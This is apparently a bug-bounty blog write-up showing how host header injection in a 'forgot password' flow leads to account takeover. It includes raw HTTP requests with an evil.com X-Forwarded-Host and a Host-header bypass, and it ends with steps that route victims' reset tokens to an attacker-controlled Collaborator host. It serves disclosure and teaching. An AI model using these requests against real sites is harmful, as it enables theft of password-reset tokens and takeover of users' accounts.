$1,250 worth of Host Header Injection

4 min readSep 24

What is Host Header Injection?

Host header injection is a web security vulnerability that occurs when an attacker manipulates the “Host” header in an HTTP request to a web server. This header is part of the HTTP protocol and is used to specify the target domain or host to which the request should be sent. Host header injection attacks typically target websites that rely on the “Host” header to determine the virtual host or website to serve. Here’s how it works and why it can have a significant impact on websites:

Manipulating the Host Header: In a typical HTTP request, the “Host” header specifies the domain name or IP address of the server the client wants to communicate with. For example:

GET /page HTTP/1.1
Host: www.example.com

An attacker with the ability to control or influence the “Host” header can change it to a different domain, potentially one they control:

GET /page HTTP/1.1
Host: malicious.com

How Can You Exploit This Vulnerability:

Obviously, it’s not that easy to obtain $1,200 from anyone. Host Header Injection is considered an informational or P5 severity vulnerability, unless you can demonstrate a significant impact, such as an account takeover using the ‘forgot password’ functionality or other chained vulnerabilities like Web Cache Poisoning.

Request:

GET /account/forgotpassword HTTP/2
Host: target.com
X-Forwarded-Host: evil.com
Cookie: asd=1234;
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br

Response:

HTTP/1.1 200 Ok
...
Response Headers
...

<html>
<head>
<title>Web Page</title>
<script src="https://evil.com/index.php">
<html>

Account Takeover via Host Header injection:

Initially, I begin by accessing the “Forgot Password” functionality and initiate a password reset request.
Subsequently, I receive a link containing a reset password token.
In order to assess the potential existence of a vulnerability, I deliberately introduce a full stop (period) character (“.”) at the end of the HOST header within the reset password request and proceed to transmit it. The altered header appears as follows: Host: target.com.

POST /account/forgotpassword?returnUrl=%2Fconnect%2Fauthorize%2Fcallback HTTP/2
Host: target.com.
Cookie: csrf=123;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Origin: https://target.com
Referer: https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

UserEmail=gdfcg%40gg.jjh&__RequestVerificationToken=CfDJ8GDFIfdscxdswacdqf6U3KlURi0Grkuo8sBP858JcLQAG_cNRggywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8

4. When I checked my email this time, I received a reset password token that included the full stop I had inserted in the Host Header. This confirms that the website is vulnerable to host header injection.

https://target.com./forgetpassword?userid=123&code=2wwdsb3wehsuwhswgbsuwgqeu

5. When I attempted to add anything after the full stop, I received a 404 error. This indicates that I need to bypass this limitation in order to proceed with further exploitation.

6. So, I crafted the reset password request by adding the full URL to the top of the request in order to receive a ‘200 OK’ response

POST https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F HTTP/2
Host: target.com.a
Cookie: csrf=CfDJ8GDFIImEfuZMtjMUAD0wjkSdISqxtWbF9MT0WcjjItWKvv71ykCvBLAfhH45TNQd7Crf9INSWcMvbvgfPDdG1wx-lHyAE5mWs107rzfTUfNSpak2pVHjo7Ff3vK0mltaC4X26-YwDQN1SvOrRTIHFygaQJM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

UserEmail=gdfcg%40gg.jjh&__RequestVerificationToken=CfDJ8GDFIImEfuZMtjMUAD0wjkSZZhL3qf6U3KlURi0Grkuo8sBP858JcLQAG_cNRgdsfxsdgywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8

7. But Now I get 400 Bad Request:

8.After some contemplation and research, I came to the realization that the current version of Burp Suite might be responsible for producing a ‘400 Bad Request’ error. Consequently, I made the decision to utilize an older version of Burp Suite, such as 1.7.34.

9. And BOOOOOOOOOOOOOOOOOOOOOM, I succeeded.

10. Now, to demonstrate the full exploit, I simply added the Burp Collaborator link to the Host Header and sent the request.

11. The victim will receive the crafted reset password link. Whenever the victim clicks on this link, I will receive their reset password token in my Burp Collaborator.